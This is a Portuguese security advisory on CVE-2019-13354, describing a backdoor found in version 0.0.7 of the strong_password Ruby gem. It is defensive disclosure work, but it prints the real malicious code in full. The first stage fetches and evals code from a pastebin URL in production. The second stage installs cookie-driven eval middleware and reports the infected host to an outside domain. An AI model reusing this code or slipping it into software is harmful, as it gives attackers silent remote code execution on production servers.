ASA-2019-00408 – RubyGems strong_password: Backdoor de Execução remota de código


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00408

Identificador(es)

ASA-2019-00408, CVE-2019-13354

Título

Backdoor de Execução Remota de Código

Fabricante(s)

Brian McManus

Produto(s)

RubyGems strong_password

Versão(ões) afetada(s)

RubyGems strong_password versão 0.0.7

Versão(ões) corrigida(s)

RubyGems strong_password versão 0.0.8

Prova de conceito

Desconhecido

Descrição

Há um backdoor de execução remota de código na versão 0.0.7 da gem strong_password, conforme distribuído no RubyGems.org.

Detalhes técnicos

Comparando o conteúdo da versão 0.0.7 da gem strong_password com a última cópia no GitHub. No final do arquivo lib/strong_password/strength_checker.rb na versão 0.0.7, havia o seguinte:

1 def _!;begin;yield;rescue Exception;end;end
2 _!{Thread.new{loop{_!{sleep
3 rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if
4 Rails.env[0]=="p"}

Versão indentada do diff:

1 def _!;
2     begin;
3         yield;
4     rescue Exception;
5     end;
6     end
7
8 _!{
9     Thread.new {
10        loop {
11            _!{
12                sleep rand * 3333;
13                eval(
14                    Net::HTTP.get(
15                    URI('https://pastebin.com/raw/xa456PFt')
16                )
17                )
18            }
19        }
20    } if Rails.env[0] == "p"
21 }

Em um loop dentro de uma nova thread, depois de esperar por um número aleatório de segundos até cerca de uma hora, ele busca e executa o código armazenado em pastebin.com, apenas se estiver em produção, com um tratamento de exceção vazio que ignora qualquer erro isso pode gerar.

O conteúdo do pastebin em 28 de junho às 20:00 UTC:

1 _! {
2     unless defined?(Z1)
3         Rack::Sendfile.prepend Module.new{define_method(:call){|e|
4         _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
5         super(e)}}
6         Z1 = "(:"
7 end
8 }
9
10 _! {
11     Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

Se ele não foi executado antes (verificando a existência da constante fictícia Z1), ele injeta um middleware que executa eval com dados dos cookies nomeados com um sufixo ___id, somente em produção, todos cercados pelo manipulador de exceção vazio _! função definida na gem hijacked, abrindo a porta para a execução silenciosa de código remoto em produção à vontade do atacante.

Ele também envia uma solicitação para um domínio controlado com um cabeçalho HTTP informando as URLs do host infectado. Depende da gem Faraday sendo carregada para que a notificação funcione (que as gem oauth2 e stripe, por exemplo, incluem).

Créditos

Tute Costa

Referência(s)

strong_password v0.0.7 rubygem hijacked
https://withatwist.dev/strong-password-rubygem-hijacked.html

strong_password | RubyGems.org | your community gem host
https://rubygems.org/gems/strong_password/versions/0.0.8

CVE-2019-13354
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13354

CVE-2019-13354
https://nvd.nist.gov/vuln/detail/CVE-2019-13354

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 10 julho 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.